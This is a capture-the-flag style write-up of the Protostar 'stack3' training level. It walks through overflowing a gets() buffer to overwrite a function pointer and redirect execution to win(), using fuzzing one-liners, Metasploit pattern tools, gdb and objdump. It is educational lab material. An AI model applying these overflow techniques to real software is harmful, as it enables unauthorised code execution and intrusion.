We start off with understanding what is being asked of us:
About
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)Hints
- both gdb and objdump is your friend you determining where the win() function lies in memory.
Source code
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
First things first, I log into the system and run the program to get a feel for what is being asked:
$ ls final0 final1 final2 format0 format1 format2 format3 format4 heap0 heap1 heap2 heap3 net0 net1 net2 net3 net4 stack0 stack1 stack2 stack3 stack4 stack5 stack6 stack7 $ ./stack3 alsjdflkasjldf $
I then start fuzzing:
$ python -c 'print "A" * 100' | ./stack3 calling function pointer, jumping to 0x41414141 Segmentation fault $
Excellent. We have a segmentation fault. Now, looking back at the code and the hint, we need to find where the win() function is. Additionally, if we can fill our function pointer to win(), we should be able to print the statement within that function.
First, we need to find how many bytes are needed before we call our function pointer. We use pattern_create.rb to generate our 100 character string:
eric@geoda:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A eric@geoda:~$
With our string created, we append it to a file and fuzz:
$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" > /tmp/payload $ cat /tmp/payload Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A $ cat /tmp/payload | ./stack3 calling function pointer, jumping to 0x63413163 Segmentation fault $
We notice that 0x63413163 is the location of our function pointer. To make sure, let's run through GDB and verify:
$ gdb -q ./stack3 Reading symbols from /opt/protostar/bin/stack3...done. (gdb) run < /tmp/payload Starting program: /opt/protostar/bin/stack3 < /tmp/payload calling function pointer, jumping to 0x63413163 Program received signal SIGSEGV, Segmentation fault. 0x63413163 in ?? () (gdb) i r eax 0x63413163 1665216867 ecx 0x0 0 edx 0xb7fd9340 -1208118464 ebx 0xb7fd7ff4 -1208123404 esp 0xbffffc4c 0xbffffc4c ebp 0xbffffcb8 0xbffffcb8 esi 0x0 0 edi 0x0 0 eip 0x63413163 0x63413163 eflags 0x210296 [ PF AF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Excellent. As expected, we see that EIP has been written with 0x63413163. We take this value to our offset script to find what the bytes are:
eric@geoda:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 63413163 [*] Exact match at offset 64 eric@geoda:~$
The offset is 64 bytes. Let's be sure of this and update our payload to push 64 A's, and 4 B's. This should fill EIP with 42424242 which is the hexadecimal value for a capital B:
$ python -c 'print "A" * 64 + "B" * 4' > /tmp/payload $ cat /tmp/payload | ./stack3 calling function pointer, jumping to 0x42424242 Segmentation fault $
As expected. We have successfully written B 4 times to EIP.
It is now time to find where the win() function is, we can use objdump with the -D flag to disassemble-all while grepping for "win":
$ objdump -D ./stack3 | grep win 08048424 <win>: $
Now, with our address found, let's update our payload and replace the letter B's with this value. Additionally, we will write this in little endian, which will be in reverse order and run the program:
$ cat /tmp/payload | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed $
Success! We have jumped locations to a new function within the program that would otherwise never have been hit.
Thanks for reading.
-geoda